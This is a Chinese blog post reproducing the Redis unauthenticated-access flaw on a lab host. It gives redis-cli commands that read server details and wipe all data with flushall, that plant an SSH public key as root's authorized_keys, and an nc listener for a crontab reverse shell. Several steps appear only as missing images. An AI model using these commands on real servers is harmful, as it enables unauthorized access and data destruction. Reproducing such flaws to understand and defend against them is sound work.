Redis未授权访问

公司业务需要使用celery做分布式任务调度,使用了redis数据库,偶然了解到redis因配置不当造成的未授权访问易被攻击者利用,于是做一下复现。

漏洞介绍

redis如果没有做用户认证配置(默认配置是空口令,端口6379),黑客可以不需要验证直接远程连接redis数据库。并且由于Redis中是把数据保存到内存中的,它会定期的把数据写会到硬盘中,
可以通过指定写入文件的位置来进行多种攻击,比如通过写入ssh密钥直接通过ssh登陆服务器或写入webshell。

Redis未授权访问获取敏感信息

./redis-cli -h 192.168.200.244
info

可以拿到数据库版本,系统及文件路径等信息(Redis2.8以后的版本):


Redis未授权访问_第1张图片
image.png

通过指令查看key,删除数据:


Redis未授权访问_第2张图片
image.png
flushall #删除所有数据

写入ssh公钥,获取权限

首先攻击者生成key:


Redis未授权访问_第3张图片
image.png

将公钥写入key.txt文件。(前后用\n换行,避免和Redis里其他缓存数据混合)。再把key.txt文件内容写入redis缓冲。

(echo -e "\n";cat id_rsa.pub;echo -e "\n")>key.txt
cat /root/.ssh/key.txt |./redis-cli -h 192.168.200.244 -x set pub
Redis未授权访问_第4张图片


设置redis的dump文件路径为/root/.ssh且文件名为authorized_keys:


Redis未授权访问_第5张图片

直接无需密码ssh登陆成功:
Redis未授权访问_第6张图片
image.png

在crontab里写定时任务,反弹shell

客户端开启监听:

 nc -l -p 25041

在/var/spool/cron目录下写入计划任务,每隔一分钟,反弹bash


Redis未授权访问_第7张图片
image.png

然后客户端静候一分钟:


Redis未授权访问_第8张图片
image.png

参考:https://www.freebuf.com/column/158065.html

你可能感兴趣的:(Redis未授权访问)